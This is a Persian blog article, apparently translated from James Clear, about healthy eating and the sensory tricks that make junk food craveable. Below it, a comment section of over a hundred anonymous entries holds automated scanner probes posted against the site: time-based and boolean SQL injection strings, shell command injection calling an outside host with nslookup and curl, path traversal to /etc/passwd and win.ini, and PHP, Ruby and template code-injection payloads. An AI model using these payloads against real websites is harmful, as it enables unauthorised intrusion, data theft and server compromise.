تغذیه سالم، راهنمایی برای تازه کارها 1

جیمز کلیر

سالم‌خوری پدیده‌ای است که همگی از اهمیت آن مطلع هستیم اما تعداد کمی می‌توانیم به صورت مستمر به آن عمل کنیم. هدف این مقاله به اشتراک‌گذاری استراتژی‌های عملی برای داشتن تغذیه سالم و بررسی علمی دلایل شکست در انجام آن است.

دانش تغذیه سالم
تمامی متخصصین همواره در مورد این‌که چه چیزی بخوریم صحبت می‌کنند اما من قصد دارم در مورد نحوه غذاخوردن و تغییر دادن آن بحث کنم. مزایای داشتن تغذیه سالم بر کسی پوشیده نیست، انرژی بیشتر، بدن سالم‌تر و بهره‌وری بالاتر. همچنین داشتن تناسب اندام ریسک ابتلا به دیابت نوع 2، بیماری‌های قلبی و فشارخون بالا و ... را کاهش می‌دهد. اما سوال اینجاست که با داشتن این همه دلایل منطقی برای تغذیه سالم، چرا پایبندی به آن برای انسان تا این اندازه سخت است. برای دانستن آن ابتدا باید در مورد علل عطش انسان به خوردن غذاهای ناسالم بدانیم. متخصص تغذیه استیون ویترلی می‌گوید وقتی انسان غداهای ناسالم و پرچربی را میخورد، دو فاکتور در تجربه لذت خوردن چنین خوراکی‌هایی وجود دارد. اولی احساس غذا خوردن است که شامل طعم، مزه (نمکی، شیرینی و ...) و بوی غذا و حسی ست که به هنگام جویدن به مغز منتقل می‌شود. که البته خصوصیت آخر بسیار حائز اهمیت است. کمپانی‌های تولیدکننده مواد غذایی میلیون‌ها دلار صرف رسیدن به بهترین حالت کرانچی بودن چیپس و حس لذت بعد از خوردن آن کرده‌اند. دانشمندان با آزمایش بر روی گاز موجود در سودا متوجه شده‌اند که صدای تولید شده به هنگام باز کردن درب، احساس نوشیدن یا خوردن را در مغز فعال می‌کند. فاکتور دوم نحوه چیدمان بشقاب غذاست، ترکیبی از پروتئین، پربی و کربوهیدرات. تولیدکنندگان غذاهای فست فود و ناسالم همواره به دنبال بهترین ترکیب از نمک، شکر و چربی هستند تا مغز شما به هنگام خوردن هیجان زده شده و این عاملی برای بازگشت مجدد شما به سمت این غذاهاست.

شگردهایی که اصطلاحا غذاها را اعتیاد آور می‌کند
تضاد تحریک کننده، ترکیبی از حس‌های متفاوت در یک بشقاب غذا. به طور مثال تردی به همراه حس خامه‌ای با طعم‌های هیجان‌انگیز.

واکنش بزاق دهان. در واقع ترشح بزاق عکس‌العملی ست در برابر خوردن و هرچه بیشتر این ترشحات صورت بگیرد شما بیشتر غذا خواهید خورد. به عنوان مثال خوراکی‌هایی مانند کره، شکلات، سس‌ها، بستنی یا مایونز باعث ترشح بیشتر بزاق خواهند شد که منجر به ایجاد یه شادی وصف‌ناپذیر در مغز به هنگام خوردن غذا می‌شود.

اصطلاح آب‌شدن غذا در دهان را بسیار شنیده‌ایم. غذاهایی که این برچسب بر آن‌ها زده می‌شود و خیلی زود بلعیده می‌شوند، سیگنال سیر نشدن را به مغز می‌دهند.
خصلت تنوع طلبی مغز. اگر شما به هنگام غذا خوردن به صورت پی در پی یک طعم را بچشید از میزان رضایت خاطرتان کم می‌شود. غذاهای فست فودی به گونه‌ای سرو می‌شوند که در آن واحد چندین طعم مختلف را تجربه می‌کنید و به این ترتیب مغز شما از خوردن آن‌ها خسته نمی‌شود.

خاطرات و تجربیات گذشته. وقتی شما یک خوراکی خوش طعم مانند یک بسته چیپس میل می‌کنید، مغزتان در دفعات بعدی به محض دیدن، بوییدن و یا حتی خواندن در مورد آن، با یاداوری خاطرات واکنش نشان می‌دهد. این واکنش حتی می‌تواند به صورت فیزیکی مانند ترشح بزاق دهان باشد.

مواردی که در بالا ذکر شد همگی دلایل دلچسب بودن خوراکی های ناسالم و سخت تر شدن رژیم غذایی سالم است. 

نظر خود را بنويسيد

نظرات (134)

۲ years ago | مهمان

NZIw7kea

۲ years ago | مهمان

1*

۲ years ago | مهمان

1*

۲ years ago | مهمان

1*

۲ years ago | مهمان

1*

۲ years ago | مهمان

-1 OR 2+590-590-1=0+0+0+1

۲ years ago | مهمان

-1 OR 3+590-590-1=0+0+0+1

۲ years ago | مهمان

if(now()=sysdate(),sleep(15),0)

۲ years ago | مهمان

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

۲ years ago | مهمان

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

۲ years ago | مهمان

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

۲ years ago | مهمان

-1; waitfor delay '0:0:15' --

۲ years ago | مهمان

-1); waitfor delay '0:0:15' --

۲ years ago | مهمان

-1)); waitfor delay '0:0:15' --

۲ years ago | مهمان

1 waitfor delay '0:0:15' --

۲ years ago | مهمان

GbE9l6oJ'; waitfor delay '0:0:15' --

۲ years ago | مهمان

zLVMAIg2'); waitfor delay '0:0:15' --

۲ years ago | مهمان

TfVwaKt8')); waitfor delay '0:0:15' --

۲ years ago | مهمان

-5 OR 884=(SELECT 884 FROM PG_SLEEP(15))--

۲ years ago | مهمان

-5) OR 416=(SELECT 416 FROM PG_SLEEP(15))--

۲ years ago | مهمان

-1)) OR 553=(SELECT 553 FROM PG_SLEEP(15))--

۲ years ago | مهمان

ZpeGUABO' OR 179=(SELECT 179 FROM PG_SLEEP(15))--

۲ years ago | مهمان

bOMxJ61L') OR 260=(SELECT 260 FROM PG_SLEEP(15))--

۲ years ago | مهمان

vZjvQUBw')) OR 266=(SELECT 266 FROM PG_SLEEP(15))--

۲ years ago | مهمان


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

۲ years ago | مهمان


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

۲ years ago | مهمان

1'"

۲ years ago | مهمان

1����%2527%2522

۲ years ago | مهمان

@@GyHdi

۲ months ago | مهمان


0KRJdSQk

۲ months ago | مهمان

-1 OR 5*5=25 --

۲ months ago | مهمان

-1 OR 5*5=26 --

۲ months ago | مهمان

-1 OR 5*5=25

۲ months ago | مهمان

-1 OR 5*5=26

۲ months ago | مهمان

-1' OR 5*5=25 --

۲ months ago | مهمان

-1' OR 5*5=26 --

۲ months ago | مهمان

-1" OR 5*5=25 --

۲ months ago | مهمان

-1" OR 5*5=26 --

۲ months ago | مهمان

-1' OR 5*5=25 or '2KVtXkQK'='

۲ months ago | مهمان

-1' OR 5*5=26 or '2KVtXkQK'='

۲ months ago | مهمان

-1" OR 5*5=25 or "7XhmiJ0t"="

۲ months ago | مهمان

-1" OR 5*5=26 or "7XhmiJ0t"="

۲ months ago | مهمان


*if(now()=sysdate(),sleep(15),0)

۲ months ago | مهمان


0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

۲ months ago | مهمان


0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

۲ months ago | مهمان

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

۲ months ago | مهمان


-1; waitfor delay '0:0:15' --

۲ months ago | مهمان


-1); waitfor delay '0:0:15' --

۲ months ago | مهمان


-1)); waitfor delay '0:0:15' --

۲ months ago | مهمان


-1 waitfor delay '0:0:15' --

۲ months ago | مهمان


xssXkQgM'; waitfor delay '0:0:15' --

۲ months ago | مهمان


UiGOzcAy'); waitfor delay '0:0:15' --

۲ months ago | مهمان


C9znjJ4p')); waitfor delay '0:0:15' --

۲ months ago | مهمان


-1 OR 807=(SELECT 807 FROM PG_SLEEP(15))--

۲ months ago | مهمان


-1) OR 149=(SELECT 149 FROM PG_SLEEP(15))--

۲ months ago | مهمان


-1)) OR 128=(SELECT 128 FROM PG_SLEEP(15))--

۲ months ago | مهمان


9W1Elih9' OR 963=(SELECT 963 FROM PG_SLEEP(15))--

۲ months ago | مهمان


Zj8048kG') OR 431=(SELECT 431 FROM PG_SLEEP(15))--

۲ months ago | مهمان


5zog82DQ')) OR 209=(SELECT 209 FROM PG_SLEEP(15))--

۲ months ago | مهمان


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

۲ months ago | مهمان


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

۲ months ago | مهمان


'"

۲ months ago | مهمان


����%2527%2522\'\"

۲ months ago | مهمان

@@ufEFW

۲ months ago | مهمان

(select 198766*667891)

۲ months ago | مهمان

(select 198766*667891 from DUAL)

۲ months ago | مهمان

response.write(9895431*9915909)

۲ months ago | مهمان

'+response.write(9895431*9915909)+'

۲ months ago | مهمان

"+response.write(9895431*9915909)+"

۲ months ago | مهمان

/../../../../../../../../../../windows/system32/BITSADMIN.exe

۲ months ago | مهمان

echo mpapdw$()\ rakeij\nz^xyu||a #' &echo mpapdw$()\ rakeij\nz^xyu||a #|" &echo mpapdw$()\ rakeij\nz^xyu||a #

۲ months ago | مهمان

&echo tusqlb$()\ zcotpg\nz^xyu||a #' &echo tusqlb$()\ zcotpg\nz^xyu||a #|" &echo tusqlb$()\ zcotpg\nz^xyu||a #

۲ months ago | مهمان

|echo xagjrl$()\ vswxhz\nz^xyu||a #' |echo xagjrl$()\ vswxhz\nz^xyu||a #|" |echo xagjrl$()\ vswxhz\nz^xyu||a #

۲ months ago | مهمان

expr 9000142494 - 961299

۲ months ago | مهمان

(nslookup -q=cname hitnhvsbdhomf609c1.bxss.me||curl hitnhvsbdhomf609c1.bxss.me))

۲ months ago | مهمان

<% response.write(9895431*9915909) %>

۲ months ago | مهمان

+response.write(9895431*9915909)'

۲ months ago | مهمان

$(nslookup -q=cname hitkojsiybiuic65bc.bxss.me||curl hitkojsiybiuic65bc.bxss.me)

۲ months ago | مهمان

&nslookup -q=cname hitribarvsdjs9cf78.bxss.me&'\"`0&nslookup -q=cname hitribarvsdjs9cf78.bxss.me&`'

۲ months ago | مهمان

&(nslookup -q=cname hitqhvfjvpbat52d3a.bxss.me||curl hitqhvfjvpbat52d3a.bxss.me)&'\"`0&(nslookup -q=cname hitqhvfjvpbat52d3a.bxss.me||curl hitqhvfjvpbat52d3a.bxss.me)&`'

۲ months ago | مهمان

|(nslookup -q=cname hitydhuynvsdn7025c.bxss.me||curl hitydhuynvsdn7025c.bxss.me)

۲ months ago | مهمان

`(nslookup -q=cname hitxjoiutsbbrc76d2.bxss.me||curl hitxjoiutsbbrc76d2.bxss.me)`

۲ months ago | مهمان

;(nslookup -q=cname hitzfheygtbjqc02b3.bxss.me||curl hitzfheygtbjqc02b3.bxss.me)|(nslookup -q=cname hitzfheygtbjqc02b3.bxss.me||curl hitzfheygtbjqc02b3.bxss.me)&(nslookup -q=cname hitzfheygtbjqc02b3.bxss.me||curl hitzfheygtbjqc02b3.bxss.me)

۲ months ago | مهمان

|(nslookup${IFS}-q${IFS}cname${IFS}hitwtatuavnmje4de3.bxss.me||curl${IFS}hitwtatuavnmje4de3.bxss.me)

۲ months ago | مهمان

WWSjHm2r

۲ months ago | مهمان

BVhqho5f: gHJArFkv

۲ months ago | مهمان

&(nslookup${IFS}-q${IFS}cname${IFS}hithiuppmukkv9593c.bxss.me||curl${IFS}hithiuppmukkv9593c.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hithiuppmukkv9593c.bxss.me||curl${IFS}hithiuppmukkv9593c.bxss.me)&`'

۲ months ago | مهمان

../../../../../../../../../../../../../../etc/passwd

۲ months ago | مهمان

../../../../../../../../../../../../../../windows/win.ini

۲ months ago | مهمان

file:///etc/passwd

۲ months ago | مهمان

../

۲ months ago | مهمان

./

۲ months ago | مهمان

12345'"\'\");|]*{
<>�''💡

۲ months ago | مهمان


<esi:include src="http://bxss.me/rpb.png"/>

۲ months ago | مهمان

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

۲ months ago | مهمان

${10000166+9999501}

۲ months ago | مهمان

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

۲ months ago | مهمان


&n997894=v953213

۲ months ago | مهمان

/etc/shells

۲ months ago | مهمان

../../../../../../../../../../../../../../etc/shells

۲ months ago | مهمان

c:/windows/win.ini

۲ months ago | مهمان

)

۲ months ago | مهمان

!(()&&!|*|*|

۲ months ago | مهمان

bxss.me

۲ months ago | مهمان

Http://bxss.me/t/fit.txt

۲ months ago | مهمان

^(#$!@#$)(()))******

۲ months ago | مهمان

http://bxss.me/t/fit.txt?.jpg

۲ months ago | مهمان

'"()

۲ months ago | مهمان


'&&sleep(27*1000)*vsilez&&'

۲ months ago | مهمان


"&&sleep(27*1000)*vhvnuf&&"

۲ months ago | مهمان


'||sleep(27*1000)*szjnqw||'

۲ months ago | مهمان


"||sleep(27*1000)*nsemjb||"

۲ months ago | مهمان

redirtest.acx

۲ months ago | مهمان

https://saneibook.com/

۲ months ago | مهمان

redirtest.acx?

۲ months ago | مهمان

'.gethostbyname(lc('hitfb'.'avezbakld423e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(81).chr(97).chr(70).'

۲ months ago | مهمان

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

۲ months ago | مهمان

".gethostbyname(lc("hitli"."zukfdiqr97f44.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(65).chr(103).chr(73)."

۲ months ago | مهمان

gethostbyname(lc('hittx'.'ckilzhnv84da4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(86).chr(113).chr(77)

۲ months ago | مهمان

ctime
sleep
p0
(I30
tp1
Rp2
.

۲ months ago | مهمان

';print(md5(31337));$a='

۲ months ago | مهمان

";print(md5(31337));$a="

۲ months ago | مهمان

${@print(md5(31337))}

۲ months ago | مهمان

${@print(md5(31337))}\

۲ months ago | مهمان

"+"A".concat(70-3).concat(22*4).concat(118).concat(85).concat(120).concat(70)+(require"socket"
Socket.gethostbyname("hitej"+"swovytou3add0.bxss.me.")[3].to_s)+"

۲ months ago | مهمان

'+'A'.concat(70-3).concat(22*4).concat(102).concat(79).concat(119).concat(81)+(require'socket'
Socket.gethostbyname('hitpf'+'ygimmjatdaf47.bxss.me.')[3].to_s)+'

۲ months ago | مهمان

'A'.concat(70-3).concat(22*4).concat(121).concat(78).concat(120).concat(69)+(require'socket'
Socket.gethostbyname('hitlm'+'smnwtwpe3c4e6.bxss.me.')[3].to_s)

۲ months ago | مهمان

'.print(md5(31337)).'

۲ months ago | مهمان

%D8%AA%D8%BA%D8%B0%DB%8C%D9%87-%D8%B3%D8%A7%D9%84%D9%85-%D8%B1%D8%A7%D9%87%D9%86%D9%85%D8%A7%DB%8C%DB%8C-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%AA%D8%A7%D8%B2%D9%87-%DA%A9%D8%A7%D8%B1%D9%87%D8%A7-1

۲ months ago | مهمان

%D8%AA%D8%BA%D8%B0%DB%8C%D9%87-%D8%B3%D8%A7%D9%84%D9%85-%D8%B1%D8%A7%D9%87%D9%86%D9%85%D8%A7%DB%8C%DB%8C-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%AA%D8%A7%D8%B2%D9%87-%DA%A9%D8%A7%D8%B1%D9%87%D8%A7-1

۲ months ago | مهمان

%D8%AA%D8%BA%D8%B0%DB%8C%D9%87-%D8%B3%D8%A7%D9%84%D9%85-%D8%B1%D8%A7%D9%87%D9%86%D9%85%D8%A7%DB%8C%DB%8C-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%AA%D8%A7%D8%B2%D9%87-%DA%A9%D8%A7%D8%B1%D9%87%D8%A7-1/.

۲ months ago | مهمان

'{"

۲ months ago | مهمان

<!--

۲ months ago | مهمان

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))